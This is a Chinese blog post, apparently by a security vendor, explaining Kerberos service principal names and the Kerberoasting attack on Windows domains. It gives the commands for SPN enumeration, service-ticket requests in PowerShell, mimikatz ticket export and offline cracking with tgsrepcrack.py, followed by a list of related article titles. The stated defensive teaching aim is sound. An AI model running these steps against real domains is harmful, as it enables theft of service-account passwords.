Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。在内网中,SPN扫描通过查询向域控服务器执行服务发现,可以识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是Kerberoasting攻击的第一步。本文由锦行科技的安全研究团队提供,旨在通过对SPN进行介绍,帮助大家深入了解Kerberoasting攻击过程以应对该种攻击。

SPN
SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。

SPN分为两种类型:
1.一种是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。
2.一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。

SQLServer在每次启动的时候,都会去尝试用自己的启动账号注册SPN

在Windows域里,默认普通机器账号有权注册SPN:
域:test.com
机器名:W10b
域机器账号(system)
(手动注册)成功注册

普通域用户账号是没有权注册SPN:
域:test.com
机器名:W10b
普通域用户:test\fw
(手动注册)权限不够

这就会导致这样一个现象,SQL Server如果使用“Local System account”来启动,Kerberos就能够成功,因为SQL Server这时可以在DC上注册SPN。如果用一个普通域用户来启动,Kerberos就不能成功,因为这时SPN注册不上去。
在DC上为域账号赋予 “Read servicePrincipalName” 和 “Write serverPrincipalName” 的权限


勾上serverPrincipalName的读写权限:

再次使用普通域用户注册,成功注册

Kerberoasting攻击
域内的任何一台主机用户或普通域用户,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的SPN。

发现SPN

Setspn -Q */*

请求SPN
(powershell)

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlsrv.test.com:1433"

导出票据

mimikatz # kerberos::list /export

破解票据
https://github.com/nidem/kerberoast

python3 tgsrepcrack.py pass.txt "2-40a10000-w10a$@MSSQLSvc~sqlsrv.test.com~1433-TEST.COM.kirbi"

如果得到的是一个有权注册SPN的域账号,也可以通过手动注册的方式来进行Kerberoasting攻击。

安全技术 | 域渗透之SPN相关推荐

  1. 域渗透-SPN与kerberoast攻击

    一:SPN服务主体名称 SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP.MSSQL.MySQL等服务)的唯一标识符. 1.1:SPN介绍 Kerbero ...

  2. 《域渗透攻防指南》签名版预售来啦

    千呼万唤始出来!终于,在广大粉丝翘首期盼下,国内首本专门讲述域内攻防的书籍<域渗透攻防指南>在2022年最后一个月和大家见面了.为了回馈粉丝的等待,让粉丝早日拿到心仪的书,特此联合机械工业 ...

  3. 13、域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍

    简介和背景 2014年,Emmanuel Gras和LucasBouillot在" 信息通信技术研讨会"(Symposiumon Information and Communica ...

  4. 域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍

    本文讲的是域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍, 简介和背景 2014年,Emmanuel Gras和Lucas Bouillot在" 信息通信技术研讨会 ...

  5. 从Github一开源项目ADSEC【学习域渗透攻防基础】

    学习的开源项目是: https://github.com/cfalta/adsec 有些地方是直接Google 翻译过来的. 注意:本人域渗透新手,很多问题都不懂,有问题欢迎大哥后台留言啊!!! La ...

  6. 渗透测试入门9之域渗透

    渗透测试入门9之域渗透 信息搜集 powerview.ps1 Get-NetDomain - gets the name of the current user's domain Get-NetFor ...

  7. 域渗透之基于资源的约束委派

    域渗透之基于资源的约束委派 注意:server2012才引入了基于资源的约束委派!!! 无需域管设置相关属性,请求ST的过程与先前的约束委派类似,传统的约束委派S4U2Self返回的票据一定是 可转发 ...

  8. 域渗透基础知识(二)之活动目录 Active Directory 的查询

    目录 Active Directory Active Directory 的查询基础语法 什么是BaseDN 什么是Naming Context 什么是LDAP(轻量级目录访问协议) 过滤规则 LDA ...

  9. 域渗透委派攻击之约束委派

    约束委派 约束委派(Constrained Delegation)即 Kerberos 的扩展协议 S4U2Proxy,服务账号只能获取某用户的 TGS ,从而只能模拟用户访问特定的服务,这也相对应非 ...

最新文章

  1. U平方Net:深入使用嵌套的U型结构进行显著目标检测
  2. 前期优达无人驾驶对课程评价
  3. linux获取目标主机shell,expect案例-批量获取主机并分发密钥
  4. 这一两天要做的事--关于Altera FPGA首先要搞清楚的几个问题 以及解答
  5. postman-常见问题解决方案记录
  6. python 目录 文件名_python目录与文件名操作
  7. 在 Perl 中使用 Getopt::Long 模块来接收用户命令行参数
  8. dom4j Document的基本操作
  9. [转]C# 实现Jwt bearer Authentication
  10. UCDOS SDK FOR C/C++ 1.0 说明文件
  11. 适合计算机社团活动的游戏,适合大学社团活动“游戏”有哪些?
  12. 用html写的意见调查表代码
  13. 服务器集群虚拟机,服务器集群虚拟机
  14. c++运行时报Floating point exception错误
  15. When you are old - 当你老去时(译)
  16. 流向的改变(direciton与unicode-bidi)
  17. SpringCloud Admin监控界面解释
  18. 支付宝支付sdk解析
  19. Java实现QQ第三方登录
  20. dnf加物理攻击的卡片有哪些_DNF加物理攻击力的附魔宝珠有哪些

热门文章

  1. 近似值问题(fabs( ) >= 1e-6)
  2. android手机无法进行remount
  3. codeforces 1311D(暴力)
  4. python数字大小写转换代码_【经验分享】20个Python代码段,好用到哭!
  5. FastReport.Net 中的条形码问题
  6. 补充:频域特征值提取的MATLAB代码实现(小波分析)
  7. 漫谈互联网历史【9】- 90年代:互联网时代的来临
  8. Linux文件查看相关命令--cat,tail,head等等
  9. log softmax的梯度求解 (Gradient of log(softmax) )
  10. 如何更改HTTP代理的ip地址